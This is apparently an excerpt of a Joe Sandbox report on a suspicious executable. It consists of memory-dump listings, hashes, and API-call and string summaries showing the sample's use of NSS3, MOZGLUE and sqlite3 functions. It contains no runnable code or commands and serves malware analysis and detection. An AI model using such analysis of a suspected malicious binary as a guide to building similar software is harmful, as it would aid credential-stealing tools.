Associated: 00000003.00000002.2524005715.000000000095E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524029196.0000000000961000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524100115.0000000000974000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524124855.000000000097D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524147763.000000000097E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524221606.000000000097F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524246007.0000000000980000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524270514.0000000000983000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524293855.0000000000984000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524323749.000000000098A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2525194903.0000000000992000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2525900742.0000000000993000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2525936208.000000000099F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2525969737.00000000009A1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2525993914.00000000009A2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2526054307.00000000009A9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2526283602.00000000009B0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2527582101.00000000009B3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2527674868.00000000009B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2527747450.00000000009BC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2527784330.00000000009CA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2527848158.00000000009CE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2527878028.00000000009DC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2527912089.00000000009DD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2527982684.0000000000A14000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2528076157.0000000000A15000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2528271802.0000000000A16000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2528271802.0000000000A1D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2528635743.0000000000A2C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2528672767.0000000000A2E000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_770000_KJS41VRCEBDG1XT5OWD29HCSZ2RM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37e60ad89629c28701747667561863de21f6a98995b558df5becaae6639a5d08
Instruction ID: db78844558888f5bba6f962e203f52c869d8b63cafdee7ad94045446784feb6e
Opcode Fuzzy Hash: 37e60ad89629c28701747667561863de21f6a98995b558df5becaae6639a5d08
Instruction Fuzzy Hash: 8F5165B240C340DFD30AAF29D8956AAFBE0FF09310F0A495EE5C58B252D7399885DB53

Function 00905477 Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2523446142.0000000000900000.00000040.00000001.01000000.00000006.sdmp, Offset: 00770000, based on PE: true

Associated: 00000003.00000002.2522895468.0000000000770000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2522928284.0000000000772000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2522972306.0000000000776000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2522995747.000000000077A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523056730.0000000000786000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523330603.00000000008E6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523369669.00000000008E8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523446142.000000000090F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523513045.0000000000911000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523574531.0000000000912000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523598927.0000000000917000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523654735.0000000000918000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523679069.0000000000923000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523734819.0000000000928000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523763277.000000000093F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523813426.0000000000941000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523836493.0000000000942000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523894883.0000000000943000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523918994.000000000094B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523980078.0000000000954000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524005715.000000000095E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524029196.0000000000961000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524100115.0000000000974000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524124855.000000000097D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524147763.000000000097E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524221606.000000000097F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524246007.0000000000980000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524270514.0000000000983000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524293855.0000000000984000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524323749.000000000098A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2525194903.0000000000992000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2525900742.0000000000993000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2525936208.000000000099F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2525969737.00000000009A1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2525993914.00000000009A2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2526054307.00000000009A9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2526283602.00000000009B0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2527582101.00000000009B3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2527674868.00000000009B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2527747450.00000000009BC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2527784330.00000000009CA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2527848158.00000000009CE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2527878028.00000000009DC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2527912089.00000000009DD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2527982684.0000000000A14000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2528076157.0000000000A15000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2528271802.0000000000A16000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2528271802.0000000000A1D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2528635743.0000000000A2C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2528672767.0000000000A2E000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_770000_KJS41VRCEBDG1XT5OWD29HCSZ2RM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ee110bdcfd179007b07a72a01788cc103a6a7ec0c663e9c35800102bafd41f5
Instruction ID: 1445c32608b5f67ae12f4f1b70bb80d2700f9b07d7827288eca3987d3788773a
Opcode Fuzzy Hash: 5ee110bdcfd179007b07a72a01788cc103a6a7ec0c663e9c35800102bafd41f5
Instruction Fuzzy Hash: 6941AEB251C710AFE715AF29D8C57FABBE4EB58320F16492EE6C583640D27458408B97

Function 00919C3E Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2523654735.0000000000918000.00000040.00000001.01000000.00000006.sdmp, Offset: 00770000, based on PE: true

Associated: 00000003.00000002.2522895468.0000000000770000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2522928284.0000000000772000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2522972306.0000000000776000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2522995747.000000000077A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523056730.0000000000786000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523330603.00000000008E6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523369669.00000000008E8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523446142.0000000000900000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523446142.000000000090F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523513045.0000000000911000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523574531.0000000000912000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523598927.0000000000917000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523679069.0000000000923000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523734819.0000000000928000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523763277.000000000093F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523813426.0000000000941000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523836493.0000000000942000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523894883.0000000000943000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523918994.000000000094B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523980078.0000000000954000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524005715.000000000095E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524029196.0000000000961000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524100115.0000000000974000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524124855.000000000097D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524147763.000000000097E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524221606.000000000097F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524246007.0000000000980000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524270514.0000000000983000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524293855.0000000000984000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524323749.000000000098A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2525194903.0000000000992000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2525900742.0000000000993000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2525936208.000000000099F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2525969737.00000000009A1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2525993914.00000000009A2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2526054307.00000000009A9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2526283602.00000000009B0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2527582101.00000000009B3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2527674868.00000000009B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2527747450.00000000009BC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2527784330.00000000009CA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2527848158.00000000009CE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2527878028.00000000009DC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2527912089.00000000009DD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2527982684.0000000000A14000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2528076157.0000000000A15000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2528271802.0000000000A16000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2528271802.0000000000A1D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2528635743.0000000000A2C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2528672767.0000000000A2E000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_770000_KJS41VRCEBDG1XT5OWD29HCSZ2RM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25f6fa2e9654631f6e213fc0453a58eb70d58cf64bf774c2f2b01cb5017e09e7
Instruction ID: 90ee21db5b0f5ec6b461cfa0095af2f1a2ee21c1646fa8687b4477f629b55499
Opcode Fuzzy Hash: 25f6fa2e9654631f6e213fc0453a58eb70d58cf64bf774c2f2b01cb5017e09e7
Instruction Fuzzy Hash: 9B01247250421A9BDB04CF84D2046EAF7B6FF48320F1682A8DC461BB50E6745CD0DF49

Analysis Process: QCOQEKY6WEL3K5GC9727N7E.exePID: 6224, Parent PID: 2360COMMON

Non-executed Functions

Function 6C5A4840 Relevance: 63.4, APIs: 29, Strings: 7, Instructions: 351memorystringCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,00000000,?,?,6C58601B,?,00000000,?), ref: 6C5A486F
PORT_ArenaAlloc_Util.NSS3(00000000,00000001,?,?,?,?,?,00000000), ref: 6C5A48A8
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,?,00000000), ref: 6C5A48BE
NSSUTIL_ArgSkipParameter.NSS3(?,?,?,?,?,00000000), ref: 6C5A48DE
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,00000000), ref: 6C5A48F5
NSSUTIL_ArgSkipParameter.NSS3(00000000,?,?,?,?,?,?,00000000), ref: 6C5A490A
PORT_ZAlloc_Util.NSS3(?,?,?,?,?,?,00000000), ref: 6C5A4919
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,00000000), ref: 6C5A493F
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5A4970
PORT_Alloc_Util.NSS3(00000001), ref: 6C5A49A0
strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C5A49AD
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5A49D4
NSSUTIL_ArgFetchValue.NSS3(00000001,?), ref: 6C5A49F4
NSSUTIL_ArgDecodeNumber.NSS3(00000000), ref: 6C5A4A10
NSSUTIL_ArgParseSlotFlags.NSS3(slotFlags,00000000), ref: 6C5A4A27
NSSUTIL_ArgReadLong.NSS3(timeout,00000000,00000000,00000000), ref: 6C5A4A3D
NSSUTIL_ArgGetParamValue.NSS3(askpw,00000000), ref: 6C5A4A4F
PL_strcasecmp.NSS3(00000000,every), ref: 6C5A4A6C
PL_strcasecmp.NSS3(00000000,timeout), ref: 6C5A4A81
free.MOZGLUE(00000000), ref: 6C5A4AAB
NSSUTIL_ArgGetParamValue.NSS3(rootFlags,00000000), ref: 6C5A4ABE
PL_strncasecmp.NSS3(00000000,hasRootCerts,0000000C), ref: 6C5A4ADC
free.MOZGLUE(00000000), ref: 6C5A4B17
NSSUTIL_ArgGetParamValue.NSS3(rootFlags,00000000), ref: 6C5A4B33

Part of subcall function 6C5A4120: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5A413D
Part of subcall function 6C5A4120: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C5A4162
Part of subcall function 6C5A4120: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5A416B
Part of subcall function 6C5A4120: PL_strncasecmp.NSS3(2BZl,?,00000001), ref: 6C5A4187
Part of subcall function 6C5A4120: NSSUTIL_ArgSkipParameter.NSS3(2BZl), ref: 6C5A41A0
Part of subcall function 6C5A4120: isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5A41B4
Part of subcall function 6C5A4120: PL_strncasecmp.NSS3(00000000,0000003D,?), ref: 6C5A41CC
Part of subcall function 6C5A4120: NSSUTIL_ArgFetchValue.NSS3(2BZl,?), ref: 6C5A4203

PL_strncasecmp.NSS3(00000000,hasRootTrust,0000000C), ref: 6C5A4B53
free.MOZGLUE(00000000), ref: 6C5A4B94
free.MOZGLUE(?), ref: 6C5A4BA7
free.MOZGLUE(00000000), ref: 6C5A4BB7
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5A4BC8

Strings

every, xrefs: 6C5A4A66
rootFlags, xrefs: 6C5A4AB9, 6C5A4B2E
hasRootTrust, xrefs: 6C5A4B4D
slotFlags, xrefs: 6C5A4A22
timeout, xrefs: 6C5A4A38, 6C5A4A7B
hasRootCerts, xrefs: 6C5A4AD6
askpw, xrefs: 6C5A4A4A

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: isspace$Valuefree$L_strncasecmp$Alloc_ParamParameterSkipUtil$FetchL_strcasecmpstrlen$ArenaDecodeFlagsLongNumberParseReadSlotmemsetstrcpystrncpy
String ID: askpw$every$hasRootCerts$hasRootTrust$rootFlags$slotFlags$timeout
API String ID: 3791087267-1256704202
Opcode ID: f10432493aed2c040e43105826300d968305c55c9e134d5d8bfe4b5c2789983a
Instruction ID: b819d2ae044993fd777676549a962db4aff73e212bd8bc87acede9566a1ff264
Opcode Fuzzy Hash: f10432493aed2c040e43105826300d968305c55c9e134d5d8bfe4b5c2789983a
Instruction Fuzzy Hash: 35C11770E0525A9FEF10CFEA9C40BAE7BB8AF46308F141425EC55A7B01EB31D916C7A5

Function 6C588A30 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 393memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C588A58

Part of subcall function 6C5A0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C5487ED,00000800,6C53EF74,00000000), ref: 6C5A1000
Part of subcall function 6C5A0FF0: PR_NewLock.NSS3(?,00000800,6C53EF74,00000000), ref: 6C5A1016
Part of subcall function 6C5A0FF0: PL_InitArenaPool.NSS3(00000000,security,6C5487ED,00000008,?,00000800,6C53EF74,00000000), ref: 6C5A102B

PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C588AC6
PORT_ArenaAlloc_Util.NSS3(00000000,00000044), ref: 6C588ADF
SECITEM_CopyItem_Util.NSS3(00000000,00000004,?), ref: 6C588B19
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6C588B2D
PK11_GenerateRandom.NSS3(00000000,00000010), ref: 6C588B49
SEC_ASN1EncodeInteger_Util.NSS3(00000000,00000010,00000000), ref: 6C588B61
SEC_ASN1EncodeInteger_Util.NSS3(00000000,0000001C), ref: 6C588B83
SECOID_SetAlgorithmID_Util.NSS3(00000000,-0000002C,?,00000000), ref: 6C588BA0
PR_SetError.NSS3(FFFFE006,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C588BF0
HASH_GetHashTypeByOidTag.NSS3(00000000), ref: 6C588BF9
SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C588C13
HASH_ResultLenByOidTag.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C588C3A
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C588CA7
PR_SetError.NSS3(FFFFE006,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C588CC4
PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6C588D12
PORT_FreeArena_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C588D20
SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C588D40
SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C588D99
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C588DBF
PORT_ArenaAlloc_Util.NSS3(00000123,00000018), ref: 6C588DD5
SEC_ASN1EncodeItem_Util.NSS3(?,?,00000000,6C66D864), ref: 6C588E39

Part of subcall function 6C59F080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6C59F0C8
Part of subcall function 6C59F080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C59F122

SECOID_SetAlgorithmID_Util.NSS3(?,?,?,?), ref: 6C588E5B

Part of subcall function 6C59BE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C54E708,00000000,00000000,00000004,00000000), ref: 6C59BE6A
Part of subcall function 6C59BE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C5504DC,?), ref: 6C59BE7E
Part of subcall function 6C59BE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C59BEC2

SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6C66D8C4), ref: 6C588E94
SECOID_SetAlgorithmID_Util.NSS3(?,00000000,00000000,?), ref: 6C588EAC
PORT_ZAlloc_Util.NSS3(00000018), ref: 6C588EBA
SECOID_CopyAlgorithmID_Util.NSS3(00000000,00000000,00000000), ref: 6C588ECC
SECITEM_ZfreeItem_Util.NSS3(-0000000C,00000000), ref: 6C588EE1
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C588EF4
free.MOZGLUE(00000000), ref: 6C588EFD
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C588F11
PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6C588F1C

Strings

tFVPj, xrefs: 6C588EC4

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Util$Arena_Item_$Free$AlgorithmAlloc_ArenaCopyEncodeFindTag_$ErrorZfree$Integer_$GenerateHashInitK11_LockPoolRandomResultTypecallocfree
String ID: tFVPj
API String ID: 2709086113-199373283
Opcode ID: d0e2972b60e3acfe48a49683fc3c013fade850978eae1e56ecd80c8af349e983
Instruction ID: 790867cadf31d5412ee0074962b0b6f54a02010e329ec6524f58c767cca0a6fe
Opcode Fuzzy Hash: d0e2972b60e3acfe48a49683fc3c013fade850978eae1e56ecd80c8af349e983
Instruction Fuzzy Hash: A4D103B5906320DBE710DF25DC80BAB77E8EF95308F14492AEC55C6A81F734D958CAA3

Function 6C52E6E0 Relevance: 46.0, APIs: 17, Strings: 9, Instructions: 452stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,6C52DA6A,?,00000000,?,?), ref: 6C52E6FF
sqlite3_initialize.NSS3(?,?,00000000,?,6C52DA6A,?,00000000,?,?), ref: 6C52E76B
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(6C52DA6F,///,00000003,?,?,00000000), ref: 6C52E7AC
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(6C52DA71,///,00000003), ref: 6C52E7C8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C52E8E8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C52E908
strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C52E921
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C52E978
memcmp.VCRUNTIME140(?,?,6C52DA6A), ref: 6C52E991
sqlite3_initialize.NSS3(?,?,00000000,?,6C52DA6A,?,00000000,?,?), ref: 6C52E9FA
memcpy.VCRUNTIME140(?,6C52DA6A,00000000,?,?,00000000), ref: 6C52EA3A
sqlite3_initialize.NSS3(?,?,00000000), ref: 6C52EA55
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C52EABA
sqlite3_mprintf.NSS3(no such %s mode: %s,9gl,?), ref: 6C52EB9F
sqlite3_free.NSS3(000000FC,?,?,?,?,00000000), ref: 6C52EBDB
sqlite3_mprintf.NSS3(no such vfs: %s,?,?,?,00000000), ref: 6C52EC1A
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,//localhost/,0000000C), ref: 6C52EC2E

Strings

mode, xrefs: 6C52EC58
file, xrefs: 6C52E738
no such vfs: %s, xrefs: 6C52EC15
no such %s mode: %s, xrefs: 6C52EB9A
///, xrefs: 6C52E7A3, 6C52E7C2
9gl, xrefs: 6C52EB97
//localhost/, xrefs: 6C52EC26
%s mode not allowed: %s, xrefs: 6C52ECB7
cach, xrefs: 6C52E93A

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: strlen$sqlite3_initializestrncmp$sqlite3_mprintf$memcmpmemcpysqlite3_freestrcmp
